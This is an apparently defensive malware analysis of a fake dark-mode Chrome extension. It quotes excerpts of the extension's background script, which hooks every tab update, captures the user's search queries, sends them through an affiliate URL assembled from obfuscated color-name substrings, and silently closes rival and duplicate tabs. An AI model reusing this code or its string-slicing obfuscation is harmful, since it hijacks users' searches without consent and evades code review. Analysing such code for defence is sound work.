fill dark

A global chrome.tabs.onUpdated listener intercepts every tab navigation event across all URLs and dispatches to colorCo(), a function that performs URL pattern-matching for search hijacking. The variable `tu` captures the tab URL on every update. This listener is the central surveillance hook of the malware, running on all tab changes regardless of the stated dark-mode purpose.

chrome.tabs.onUpdated.addListener(function(e, u, s) {  function darkcontent() {    colorRGBType(t), color._items = null, color.dark = null, color._activeElement = null, color._isPaused = !1,      // ... [~70 lines of padding] ...  }  colorCo(e, u, s), tu = s.url, style(exid) && !style("errors") && cls(e);  // ...})

This is the core search-hijacking function. It inspects every tab URL for Yahoo Hosted Search affiliate parameters (yhs-002, yhs-active8, hspart=dcola) and other known search-monetization tokens. When a competitor hijacker's parameters are detected (rectre, imageadvan, pid=default2017, &ptag, &conlogo, &FORM), the tab is silently closed after 200ms. When the extension's own affiliated Yahoo search IDs are present, it redirects via `colo(up + errors)` to update the URL — replacing the search with one channeled through the extension's own affiliate link. The `up` variable contains an obfuscated base URL built from color-name strings.

function colorCo(e, p, t) {  colorid = (e => t.url.includes(e)), colorid("tillshe") && cls(t.id), (colorid("q=yhs-002") || colorid(      "q=yhs-active8")) && colo(up + errors),    (colorid("rectre") || colorid("imageadvan") || colorid("pid=default2017") || colorid("hspart=dcola") || colorid(      "antgreen") || colorid("&ptag") || colorid("&conlogo") || colorid("&FORM")) && (mp = !0, setTimeout(function() {      cls(t.id), mp = !1    }, 200)), lear()};

The extension constructs a redirect base URL by extracting substrings from innocent-looking CSS color names ("Bright green", "Coralpink", "maroon", etc.) and concatenating them to form a protocol and domain string. Decoding the slices yields the segments: "http" + "s:/" + "/" + ... assembling "https://" followed by a domain. The resulting `up` variable is the affiliate search base URL appended with the captured user query (`errors`) to monetize user searches. This is deliberate obfuscation to hide the redirect target from static analysis.

var colordark = color("Bright green", "4", "6") + color("light", "4", "5") + color("pink", "0", "1");// ...var colorlight = color("sea blue", "0", "1") + color("orange:", "6", "7") + color("yellow/", "6", "7");// ...var colorrgb = color("yellow/", "6", "7") + color("Coralpink", "3", "6") + color("maroon", "3", "5") + color("rose",  "2", "3");// ...var colorhexa = color("rose", "2", "3") + color(".color", "0", "3") + color("maroon", "0", "1");// ...var colorrgbh = color("Blizz/ard blue", "5", "6") + color("violet", "5", "6") + color("bluex", "4", "5");// ...function colr() {  return colordark + colorlight + colorrgb + colorhexa + colorrgbh;}// ...var ty = colr();var up = color(ty, 0, 20) + color("blue?q=", 2, 7);

When the extension detects a user search query (parameter `c` extracted from the tab URL), it saves the search term into `errors` if it is not already one of the extension's own affiliate tokens (yhs-002, yhs-active8). It then constructs `col = up + c` — the full affiliate redirect URL — and opens it as a new tab via `chrome.tabs.create`. This is the mechanism that routes user search queries through the extension's monetization infrastructure without user consent.

colorlist.includes(c) || void 0 === c || (colorlist.push(c), "yhs-002" != c && "yhs-active8" != c && (errors =  c), col = up + c, function checkrandomrgb() {  // ...}, chrome.tabs.create({  url: col}, function(u) {  // ...}));

Three utility functions provide the core tab manipulation primitives used by the hijacker: `colo()` silently updates the active tab to the affiliate URL, `colort()` creates a new tab to the affiliate URL, and `cls()` closes a tab by ID. These are called by `colorCo()` when search hijacking conditions are triggered. Their terse obfuscated names are designed to avoid detection in code review.

function colo(e) {  chrome.tabs.update({    url: e  })}function colort(e) {  chrome.tabs.create({    url: e  })}function cls(c) {  chrome.tabs.remove(c)}

The `lear()` function queries all open tabs and closes duplicates that match the obfuscated domain substring `color(ty, 8, 15)`. This is an anti-duplication defense for the hijacker: after a search redirect is created, any prior tab containing the same search domain is silently removed. This prevents the user from easily noticing that two tabs were opened for the same search.

function lear() {  chrome.tabs.query({    currentWindow: !0  }, function(n) {    for (var r = 0; r < n.length - 1; r++) n[r].url.indexOf(n[n.length - 1].url) > -1 && n[r].url.indexOf(color(ty,      8, 15)) > -1 && n[n.length - 1].url.indexOf(color(ty, 8, 15)) > -1 && cls(n[r].id)  })}

The extension uses further obfuscated string extraction (from CSS color names like "darkseagreen", "ghostwhite") to construct search-engine domain names used as conditional checks. The `.q` property extraction from a parsed URL object captures the user's actual search query string from `tu` (the saved tab URL). This confirms that the extension is actively parsing and harvesting the user's live search queries.

if (style(color("darkseagreen", 4, 7)) && style(color("aqua.orange", 3, 7)) && style(color("ghostwhite", 2,    4)) && style(color("indianred", 3, 5))) {  var r = width(tu);  c = (t = dimension(height(r)))    .q};

The extension captures its own runtime ID in `exid` and uses it as part of a condition to close tabs (`cls(e)`). This is a self-preservation mechanism: by checking for the extension's own ID, the hijacker avoids closing its own pages while still closing competitor tabs and previous search results. Combined with the ~3,921 line obfuscated background script in an extension claiming only to provide dark mode, this confirms the legitimate dark mode feature is only a cover.

var exid = chrome.runtime.id;// ...// Inside chrome.tabs.onUpdated.addListener:colorCo(e, u, s), tu = s.url, style(exid) && !style("errors") && cls(e);